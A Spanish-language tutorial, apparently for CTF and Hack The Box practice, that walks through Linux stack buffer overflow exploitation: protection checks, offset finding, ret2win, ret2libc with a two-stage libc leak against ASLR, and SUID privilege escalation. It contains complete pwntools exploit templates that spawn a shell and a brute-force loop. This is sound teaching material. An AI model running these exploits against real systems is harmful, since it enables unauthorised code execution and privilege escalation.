Buffer overflow en Linux paso a paso: ret2win y ret2libc con pwntools

De un binario que se rompe a una shell: checksec, calcular el offset con cyclic, ret2win, saltarse NX con ret2libc y fugar libc contra ASLR, con plantillas en pwntools.

· 4 min de lectura

Un desbordamiento de búfer en la pila ocurre cuando un programa copia más datos de los que caben en un array local. Lo que sobra pisa lo que hay detrás en la pila y, entre otras cosas, la dirección de retorno: cuando la función termina, el programa salta adonde tú digas.

void vuln() {
    char buf[64];
    gets(buf);          // lee sin límite: cualquier entrada de más de 64 bytes desborda
}

Esta guía usa binarios de 64 bits en Linux, que es lo que encontrarás en casi todas las máquinas y CTF actuales. Necesitas gdb con pwndbg o GEF y pwntools (pip install pwntools).

1. Reconocimiento: qué protecciones tiene

file ./vuln          # 32 o 64 bits, enlazado dinámico o estático
checksec --file=./vuln
Protección Qué impide Cómo se rodea
Canary Pisar el retorno sin que se note Fugar el canary (format string, lectura de más)
NX Ejecutar código en la pila Reutilizar código que ya existe: ROP, ret2libc
PIE Saber dónde está el binario Fugar una dirección del binario
ASLR (del sistema) Saber dónde está libc Fugar una dirección de libc

Sin canary es la situación típica de una máquina. En la víctima, mira si ASLR está activo: cat /proc/sys/kernel/randomize_va_space (2 = activo).

2. Calcular el offset

Cuántos bytes hay hasta la dirección de retorno. Con un patrón cíclico:

pwn cyclic -n 8 200 > patron
gdb ./vuln
pwndbg> run < patron
# el programa se rompe en el ret; mira el valor que hay en lo alto de la pila
pwndbg> x/gx $rsp
pwn cyclic -n 8 -l <valor>             # → 72 (64 del búfer + 8 del rbp guardado)

En 64 bits el programa se para en ret (la dirección no es válida y no llega a cargarse en RIP), por eso se mira $rsp y no $rip.

3. ret2win: saltar a una función que ya existe

Si el binario tiene una función que da la flag o una shell y nunca se llama, basta con saltar a ella:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()                         # remote('10.10.10.10', 1337) para el servidor

ret = ROP(elf).find_gadget(['ret'])[0]  # alinea la pila a 16 bytes (si no, system() se cuelga en movaps)
payload = b'A' * 72 + p64(ret) + p64(elf.symbols['win'])
p.sendline(payload)
p.interactive()

4. ret2libc: NX activo y sin función mágica

No puedes ejecutar en la pila, pero libc ya está cargada y tiene system y la cadena "/bin/sh". En 64 bits el primer argumento va en rdi, así que necesitas un gadget pop rdi; ret:

ROPgadget --binary ./vuln | grep "pop rdi"

Sin ASLR (direcciones fijas)

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = 0x7ffff7dc3000          # 'vmmap' en gdb o 'ldd ./vuln' en la víctima
rop = ROP([elf, libc])
rop.raw(rop.find_gadget(['ret'])[0])
rop.system(next(libc.search(b'/bin/sh\x00')))
p.sendline(b'A' * 72 + rop.chain())

Con ASLR: dos fases

La dirección de libc cambia en cada ejecución, así que primero la fugas y luego, sin que el programa termine, mandas el segundo payload:

from pwn import *

elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')              # la de la víctima, no la tuya
p = remote('10.10.10.10', 1337)

# Fase 1: puts(puts@got) imprime la dirección real de puts, y volvemos a main
rop = ROP(elf)
rop.puts(elf.got['puts'])
rop.main()
p.sendlineafter(b'> ', b'A' * 72 + rop.chain())
fuga = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = fuga - libc.symbols['puts']
log.success(f'libc en {hex(libc.address)}')

# Fase 2: system("/bin/sh")
rop = ROP([elf, libc])
rop.raw(rop.find_gadget(['ret'])[0])
rop.system(next(libc.search(b'/bin/sh\x00')))
p.sendlineafter(b'> ', b'A' * 72 + rop.chain())
p.interactive()

Truco

Si no tienes la libc de la víctima, la fuga te la da: los últimos 3 dígitos hexadecimales de puts no cambian con ASLR. Búscalos en libc.rip o libc.blukat.me y descarga la versión que coincida.

Si el binario es SUID en una máquina

Es el caso de October y Frolic: un binario SUID local, sin ASLR o con pocos bits. Con ASLR en 32 bits, la base de libc solo varía en unos pocos bits y es viable fuerza bruta: ejecutar el exploit en bucle con una dirección fija hasta que acierte.

while true; do ./ovrflw $(python3 exploit.py); done

En SUID, system("/bin/sh") puede soltar los privilegios (dash los descarta si el UID real no coincide). Encadena antes setuid(0) o usa execve con /bin/sh -p.

Errores típicos

  • Funciona en local y no en remoto: libc distinta, o el servidor no vacía el búfer de salida (usa recvuntil con lo que imprime antes de pedir datos).
  • Segfault dentro de system: pila desalineada; añade un ret suelto antes.
  • Bytes nulos o saltos de línea: gets para en \n, strcpy en \x00. Las direcciones de 64 bits llevan ceros al final, así que con strcpy solo puedes poner la última dirección.
  • Hay canary: necesitas otra vulnerabilidad para leerlo; con una format string es lo habitual.

En Windows (los clásicos de la OSCP antigua como el de Buff) la idea es la misma pero sin NX ni ASLR: se salta a un jmp esp y se ejecuta shellcode en la pila.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Buffer overflow en pila 10 máquinas

Ver las 10 máquinas →

ROP / ret2libc 3 máquinas

¿Ves un error o echas algo en falta? Cuéntanoslo